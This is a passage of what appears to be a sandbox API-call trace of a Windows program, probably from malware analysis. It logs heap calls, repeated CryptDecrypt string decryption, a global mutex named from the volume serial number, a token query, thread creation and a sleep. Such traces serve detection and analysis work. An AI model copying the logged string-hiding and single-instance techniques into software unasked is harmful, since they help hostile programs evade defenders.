(dwErrCode=0x0) [0031.316] GetLastError () returned 0x0 [0031.316] SetLastError (dwErrCode=0x0) [0031.316] GetLastError () returned 0x0 [0031.316] SetLastError (dwErrCode=0x0) [0031.316] GetLastError () returned 0x0 [0031.316] SetLastError (dwErrCode=0x0) [0031.316] GetLastError () returned 0x0 [0031.316] SetLastError (dwErrCode=0x0) [0031.316] GetLastError () returned 0x0 [0031.316] SetLastError (dwErrCode=0x0) [0031.316] GetLastError () returned 0x0 [0031.316] SetLastError (dwErrCode=0x0) [0031.316] GetLastError () returned 0x0 [0031.316] SetLastError (dwErrCode=0x0) [0031.316] GetLastError () returned 0x0 [0031.316] SetLastError (dwErrCode=0x0) [0031.316] GetLastError () returned 0x0 [0031.316] SetLastError (dwErrCode=0x0) [0031.316] GetLastError () returned 0x0 [0031.316] SetLastError (dwErrCode=0x0) [0031.316] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x2c) returned 0x2b11768 [0031.316] GetLastError () returned 0x0 [0031.316] SetLastError (dwErrCode=0x0) [0031.317] GetLastError () returned 0x0 [0031.317] SetLastError (dwErrCode=0x0) [0031.317] GetLastError () returned 0x0 [0031.317] SetLastError (dwErrCode=0x0) [0031.317] GetLastError () returned 0x0 [0031.317] SetLastError (dwErrCode=0x0) [0031.317] GetLastError () returned 0x0 [0031.317] SetLastError (dwErrCode=0x0) [0031.317] GetLastError () returned 0x0 [0031.317] SetLastError (dwErrCode=0x0) [0031.317] GetLastError () returned 0x0 [0031.317] SetLastError (dwErrCode=0x0) [0031.317] GetLastError () returned 0x0 [0031.317] SetLastError (dwErrCode=0x0) [0031.317] GetLastError () returned 0x0 [0031.317] SetLastError (dwErrCode=0x0) [0031.317] GetLastError () returned 0x0 [0031.317] SetLastError (dwErrCode=0x0) [0031.317] GetLastError () returned 0x0 [0031.317] SetLastError (dwErrCode=0x0) [0031.317] GetLastError () returned 0x0 [0031.317] SetLastError (dwErrCode=0x0) [0031.317] GetLastError () returned 0x0 [0031.317] SetLastError (dwErrCode=0x0) [0031.317] GetLastError () returned 0x0 [0031.317] SetLastError (dwErrCode=0x0) [0031.317] GetLastError () returned 0x0 [0031.318] SetLastError (dwErrCode=0x0) [0031.318] GetLastError () returned 0x0 [0031.318] SetLastError (dwErrCode=0x0) [0031.318] GetLastError () returned 0x0 [0031.318] SetLastError (dwErrCode=0x0) [0031.318] GetLastError () returned 0x0 [0031.318] SetLastError (dwErrCode=0x0) [0031.318] GetLastError () returned 0x0 [0031.318] SetLastError (dwErrCode=0x0) [0031.318] GetLastError () returned 0x0 [0031.318] SetLastError (dwErrCode=0x0) [0031.318] GetLastError () returned 0x0 [0031.318] SetLastError (dwErrCode=0x0) [0031.318] GetLastError () returned 0x0 [0031.318] SetLastError (dwErrCode=0x0) [0031.318] GetLastError () returned 0x0 [0031.318] SetLastError (dwErrCode=0x0) [0031.318] GetLastError () returned 0x0 [0031.318] SetLastError (dwErrCode=0x0) [0031.318] GetLastError () returned 0x0 [0031.318] SetLastError (dwErrCode=0x0) [0031.318] GetLastError () returned 0x0 [0031.318] SetLastError (dwErrCode=0x0) [0031.318] GetLastError () returned 0x0 [0031.318] SetLastError (dwErrCode=0x0) [0031.319] GetLastError () returned 0x0 [0031.319] SetLastError (dwErrCode=0x0) [0031.319] GetLastError () returned 0x0 [0031.319] SetLastError (dwErrCode=0x0) [0031.319] GetLastError () returned 0x0 [0031.319] SetLastError (dwErrCode=0x0) [0031.319] GetLastError () returned 0x0 [0031.319] SetLastError (dwErrCode=0x0) [0031.319] GetLastError () returned 0x0 [0031.319] SetLastError (dwErrCode=0x0) [0031.319] GetLastError () returned 0x0 [0031.319] SetLastError (dwErrCode=0x0) [0031.319] GetLastError () returned 0x0 [0031.319] SetLastError (dwErrCode=0x0) [0031.319] GetLastError () returned 0x0 [0031.319] SetLastError (dwErrCode=0x0) [0031.319] GetLastError () returned 0x0 [0031.319] SetLastError (dwErrCode=0x0) [0031.319] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x94) returned 0x2b117a0 [0031.319] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1f) returned 0x2b11840 [0031.319] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x28) returned 0x2b11868 [0031.319] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x37) returned 0x2b11898 [0031.319] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x3c) returned 0x2b118d8 [0031.319] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x31) returned 0x2b11920 [0031.319] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x14) returned 0x2b11960 [0031.319] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x24) returned 0x2b11980 [0031.319] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0xd) returned 0x2b119b0 [0031.319] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x17) returned 0x2b119c8 [0031.319] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x2b) returned 0x2b119e8 [0031.319] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x15) returned 0x2b11a20 [0031.319] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x17) returned 0x2b11a40 [0031.319] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x22) returned 0x2b11a60 [0031.319] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0xe) returned 0x2b11a90 [0031.319] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0xc1) returned 0x2b11aa8 [0031.319] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x3e) returned 0x2b11b78 [0031.319] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1b) returned 0x2b11bc0 [0031.319] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1d) returned 0x2b11be8 [0031.319] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x48) returned 0x2b11c10 [0031.320] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x12) returned 0x2b11c60 [0031.320] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x18) returned 0x2b11c80 [0031.320] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1b) returned 0x2b11ca0 [0031.320] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x24) returned 0x2b11cc8 [0031.320] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x29) returned 0x2b11cf8 [0031.320] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b11d30 [0031.320] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x6b) returned 0x2b11d58 [0031.320] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x17) returned 0x2b11dd0 [0031.320] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0xf) returned 0x2b11df0 [0031.320] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x16) returned 0x2b11e08 [0031.320] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x28) returned 0x2b11e28 [0031.320] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x27) returned 0x2b11e58 [0031.320] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x12) returned 0x2b11e88 [0031.320] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x21) returned 0x2b11ea8 [0031.320] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x10) returned 0x2b11ed8 [0031.320] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1c) returned 0x2b11ef0 [0031.320] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x12) returned 0x2b11f18 [0031.320] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b10fd0 | out: hHeap=0x2b10000) returned 1 [0031.320] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0031.320] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x80) returned 0x2b11f38 [0031.320] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xcd8156) returned 0x0 [0031.321] RtlSizeHeap (HeapHandle=0x2b10000, Flags=0x0, MemoryPointer=0x2b11f38) returned 0x80 [0031.321] GetLastError () returned 0x0 [0031.321] SetLastError (dwErrCode=0x0) [0031.321] GetLastError () returned 0x0 [0031.321] SetLastError (dwErrCode=0x0) [0031.321] GetLastError () returned 0x0 [0031.321] SetLastError (dwErrCode=0x0) [0031.321] GetLastError () returned 0x0 [0031.321] SetLastError (dwErrCode=0x0) [0031.321] GetLastError () returned 0x0 [0031.321] SetLastError (dwErrCode=0x0) [0031.321] GetLastError () returned 0x0 [0031.321] SetLastError (dwErrCode=0x0) [0031.321] GetLastError () returned 0x0 [0031.321] SetLastError (dwErrCode=0x0) [0031.321] GetLastError () returned 0x0 [0031.321] SetLastError (dwErrCode=0x0) [0031.321] GetLastError () returned 0x0 [0031.321] SetLastError (dwErrCode=0x0) [0031.321] GetLastError () returned 0x0 [0031.321] SetLastError (dwErrCode=0x0) [0031.321] GetLastError () returned 0x0 [0031.321] SetLastError (dwErrCode=0x0) [0031.321] GetLastError () returned 0x0 [0031.321] SetLastError (dwErrCode=0x0) [0031.321] GetLastError () returned 0x0 [0031.321] SetLastError (dwErrCode=0x0) [0031.321] GetLastError () returned 0x0 [0031.322] SetLastError (dwErrCode=0x0) [0031.322] GetLastError () returned 0x0 [0031.322] SetLastError (dwErrCode=0x0) [0031.322] GetLastError () returned 0x0 [0031.322] SetLastError (dwErrCode=0x0) [0031.322] GetLastError () returned 0x0 [0031.322] SetLastError (dwErrCode=0x0) [0031.322] GetLastError () returned 0x0 [0031.322] SetLastError (dwErrCode=0x0) [0031.322] GetLastError () returned 0x0 [0031.322] SetLastError (dwErrCode=0x0) [0031.322] GetLastError () returned 0x0 [0031.322] SetLastError (dwErrCode=0x0) [0031.322] GetLastError () returned 0x0 [0031.322] SetLastError (dwErrCode=0x0) [0031.322] GetLastError () returned 0x0 [0031.322] SetLastError (dwErrCode=0x0) [0031.322] GetLastError () returned 0x0 [0031.322] SetLastError (dwErrCode=0x0) [0031.322] GetLastError () returned 0x0 [0031.322] SetLastError (dwErrCode=0x0) [0031.322] GetLastError () returned 0x0 [0031.322] SetLastError (dwErrCode=0x0) [0031.322] GetLastError () returned 0x0 [0031.322] SetLastError (dwErrCode=0x0) [0031.322] GetLastError () returned 0x0 [0031.322] SetLastError (dwErrCode=0x0) [0031.322] GetLastError () returned 0x0 [0031.322] SetLastError (dwErrCode=0x0) [0031.322] GetLastError () returned 0x0 [0031.323] SetLastError (dwErrCode=0x0) [0031.323] GetLastError () returned 0x0 [0031.323] SetLastError (dwErrCode=0x0) [0031.323] GetLastError () returned 0x0 [0031.323] SetLastError (dwErrCode=0x0) [0031.323] GetLastError () returned 0x0 [0031.323] SetLastError (dwErrCode=0x0) [0031.323] GetLastError () returned 0x0 [0031.323] SetLastError (dwErrCode=0x0) [0031.323] GetLastError () returned 0x0 [0031.323] SetLastError (dwErrCode=0x0) [0031.323] GetLastError () returned 0x0 [0031.323] SetLastError (dwErrCode=0x0) [0031.323] GetLastError () returned 0x0 [0031.323] SetLastError (dwErrCode=0x0) [0031.323] GetLastError () returned 0x0 [0031.323] SetLastError (dwErrCode=0x0) [0031.323] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x30) returned 0x2b10fd0 [0031.323] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x32d0) returned 0x2b11fc0 [0031.323] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x168) returned 0x2b11008 [0031.324] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b11178 [0031.324] CryptAcquireContextW (in: phProv=0xcdfcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xcdfcf0*=0x10b66e0) returned 1 [0031.612] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f830, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f898 | out: phKey=0xc9f898*=0x10c9090) returned 1 [0031.614] CryptSetKeyParam (hKey=0x10c9090, dwParam=0x1, pbData=0xc9f880, dwFlags=0x0) returned 1 [0031.614] CryptDecrypt (in: hKey=0x10c9090, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11178, pdwDataLen=0xc9f84c | out: pbData=0x2b11178, pdwDataLen=0xc9f84c) returned 1 [0031.614] CryptDestroyKey (hKey=0x10c9090) returned 1 [0031.614] GetTickCount () returned 0x1e0d5 [0031.614] GetLastError () returned 0x0 [0031.614] SetLastError (dwErrCode=0x0) [0031.614] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1c) returned 0x2b11190 [0031.614] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1c) returned 0x2b111b8 [0031.614] GetVersion () returned 0x23f00206 [0031.614] GetCurrentProcess () returned 0xffffffff [0031.614] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0xc9f8a4 | out: TokenHandle=0xc9f8a4*=0x1f0) returned 1 [0031.615] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x14, TokenInformation=0xc9f89c, TokenInformationLength=0x4, ReturnLength=0xc9f8a0 | out: TokenInformation=0xc9f89c, ReturnLength=0xc9f8a0) returned 1 [0031.615] CloseHandle (hObject=0x1f0) returned 1 [0031.615] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b111e0 [0031.615] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f798, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f800 | out: phKey=0xc9f800*=0x10c9510) returned 1 [0031.615] CryptSetKeyParam (hKey=0x10c9510, dwParam=0x1, pbData=0xc9f7e8, dwFlags=0x0) returned 1 [0031.615] CryptDecrypt (in: hKey=0x10c9510, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0xc9f7b4 | out: pbData=0x2b111e0, pdwDataLen=0xc9f7b4) returned 1 [0031.615] CryptDestroyKey (hKey=0x10c9510) returned 1 [0031.615] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b11208 [0031.615] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b11230 [0031.615] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b11258 [0031.615] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f770, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f7d8 | out: phKey=0xc9f7d8*=0x10c9410) returned 1 [0031.615] CryptSetKeyParam (hKey=0x10c9410, dwParam=0x1, pbData=0xc9f7c0, dwFlags=0x0) returned 1 [0031.615] CryptDecrypt (in: hKey=0x10c9410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11258, pdwDataLen=0xc9f78c | out: pbData=0x2b11258, pdwDataLen=0xc9f78c) returned 1 [0031.615] CryptDestroyKey (hKey=0x10c9410) returned 1 [0031.615] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11258 | out: hHeap=0x2b10000) returned 1 [0031.615] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b11208, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0031.615] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11230 | out: hHeap=0x2b10000) returned 1 [0031.615] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b111e0 | out: hHeap=0x2b10000) returned 1 [0031.615] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc9f840, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc9f840*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0031.615] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11208 | out: hHeap=0x2b10000) returned 1 [0031.615] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b111e0 [0031.615] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f7cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f834 | out: phKey=0xc9f834*=0x10c8f50) returned 1 [0031.615] CryptSetKeyParam (hKey=0x10c8f50, dwParam=0x1, pbData=0xc9f81c, dwFlags=0x0) returned 1 [0031.615] CryptDecrypt (in: hKey=0x10c8f50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0xc9f7e8 | out: pbData=0x2b111e0, pdwDataLen=0xc9f7e8) returned 1 [0031.615] CryptDestroyKey (hKey=0x10c8f50) returned 1 [0031.615] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b11228 [0031.615] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x0 [0031.615] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1030B419773000") returned 0x1f0 [0031.615] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0031.616] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b111e0 | out: hHeap=0x2b10000) returned 1 [0031.616] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11228 | out: hHeap=0x2b10000) returned 1 [0031.616] ReleaseMutex (hMutex=0x1f0) returned 1 [0031.616] CloseHandle (hObject=0x1f0) returned 1 [0031.616] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b111e0 [0031.616] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f7ac, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f814 | out: phKey=0xc9f814*=0x10c8f50) returned 1 [0031.616] CryptSetKeyParam (hKey=0x10c8f50, dwParam=0x1, pbData=0xc9f7fc, dwFlags=0x0) returned 1 [0031.616] CryptDecrypt (in: hKey=0x10c8f50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0xc9f7c8 | out: pbData=0x2b111e0, pdwDataLen=0xc9f7c8) returned 1 [0031.616] CryptDestroyKey (hKey=0x10c8f50) returned 1 [0031.616] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b11208 [0031.616] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b11230 [0031.616] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b11258 [0031.616] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f784, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f7ec | out: phKey=0xc9f7ec*=0x10c92d0) returned 1 [0031.616] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f7d4, dwFlags=0x0) returned 1 [0031.616] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11258, pdwDataLen=0xc9f7a0 | out: pbData=0x2b11258, pdwDataLen=0xc9f7a0) returned 1 [0031.616] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0031.616] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11258 | out: hHeap=0x2b10000) returned 1 [0031.616] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b11208, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0031.616] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11230 | out: hHeap=0x2b10000) returned 1 [0031.616] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b111e0 | out: hHeap=0x2b10000) returned 1 [0031.616] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc9f854, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc9f854*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0031.616] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11208 | out: hHeap=0x2b10000) returned 1 [0031.616] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b111e0 [0031.616] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f7e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f848 | out: phKey=0xc9f848*=0x10c8e50) returned 1 [0031.616] CryptSetKeyParam (hKey=0x10c8e50, dwParam=0x1, pbData=0xc9f830, dwFlags=0x0) returned 1 [0031.616] CryptDecrypt (in: hKey=0x10c8e50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0xc9f7fc | out: pbData=0x2b111e0, pdwDataLen=0xc9f7fc) returned 1 [0031.616] CryptDestroyKey (hKey=0x10c8e50) returned 1 [0031.616] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b11228 [0031.616] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x0 [0031.616] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1030B419773001") returned 0x1f0 [0031.616] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0031.616] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b111e0 | out: hHeap=0x2b10000) returned 1 [0031.617] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11228 | out: hHeap=0x2b10000) returned 1 [0031.617] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xcd1f5f, lpParameter=0xc9f8e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x218 [0031.617] Sleep (dwMilliseconds=0x1388) [0036.664] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b111e0 [0036.664] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f798, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f800 | out: phKey=0xc9f800*=0x10c92d0) returned 1 [0036.664] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f7e8, dwFlags=0x0) returned 1 [0036.664] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0xc9f7b4 | out: pbData=0x2b111e0, pdwDataLen=0xc9f7b4) returned 1 [0036.664] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0036.664] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b11208 [0036.664] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b11230 [0036.664] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b11258 [0036.664] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f770, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f7d8 | out: phKey=0xc9f7d8*=0x10c9410) returned 1 [0036.664] CryptSetKeyParam (hKey=0x10c9410, dwParam=0x1, pbData=0xc9f7c0, dwFlags=0x0) returned 1 [0036.664] CryptDecrypt (in: hKey=0x10c9410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11258, pdwDataLen=0xc9f78c | out: pbData=0x2b11258, pdwDataLen=0xc9f78c) returned 1 [0036.664] CryptDestroyKey (hKey=0x10c9410) returned 1 [0036.664] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11258 | out: hHeap=0x2b10000) returned 1 [0036.664] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b11208, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0036.664] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11230 | out: hHeap=0x2b10000) returned 1 [0036.664] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b111e0 | out: hHeap=0x2b10000) returned 1 [0036.664] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc9f840, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc9f840*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0036.665] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11208 | out: hHeap=0x2b10000) returned 1 [0036.665] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x40) returned 0x2b111e0 [0036.665] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f7cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f834 | out: phKey=0xc9f834*=0x10c92d0) returned 1 [0036.665] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f81c, dwFlags=0x0) returned 1 [0036.665] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0xc9f7e8 | out: pbData=0x2b111e0, pdwDataLen=0xc9f7e8) returned 1 [0036.665] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0036.665] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x34) returned 0x2b11228 [0036.665] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x220 [0036.665] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x102 [0036.665] CloseHandle (hObject=0x220) returned 1 [0036.665] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b111e0 | out: hHeap=0x2b10000) returned 1 [0036.665] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11228 | out: hHeap=0x2b10000) returned 1 [0036.665] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x60) returned 0x2b111e0 [0036.665] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f7f0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f858 | out: phKey=0xc9f858*=0x10c9410) returned 1 [0036.665] CryptSetKeyParam (hKey=0x10c9410, dwParam=0x1, pbData=0xc9f840, dwFlags=0x0) returned 1 [0036.665] CryptDecrypt (in: hKey=0x10c9410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0xc9f80c | out: pbData=0x2b111e0, pdwDataLen=0xc9f80c) returned 1 [0036.665] CryptDestroyKey (hKey=0x10c9410) returned 1 [0036.665] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b11248 [0036.665] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f7c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f830 | out: phKey=0xc9f830*=0x10c92d0) returned 1 [0036.665] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f818, dwFlags=0x0) returned 1 [0036.665] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11248, pdwDataLen=0xc9f7e4 | out: pbData=0x2b11248, pdwDataLen=0xc9f7e4) returned 1 [0036.665] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0036.665] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b11270 [0036.665] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b11298 [0036.665] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b112c0 [0036.665] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f7a0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f808 | out: phKey=0xc9f808*=0x10c9410) returned 1 [0036.665] CryptSetKeyParam (hKey=0x10c9410, dwParam=0x1, 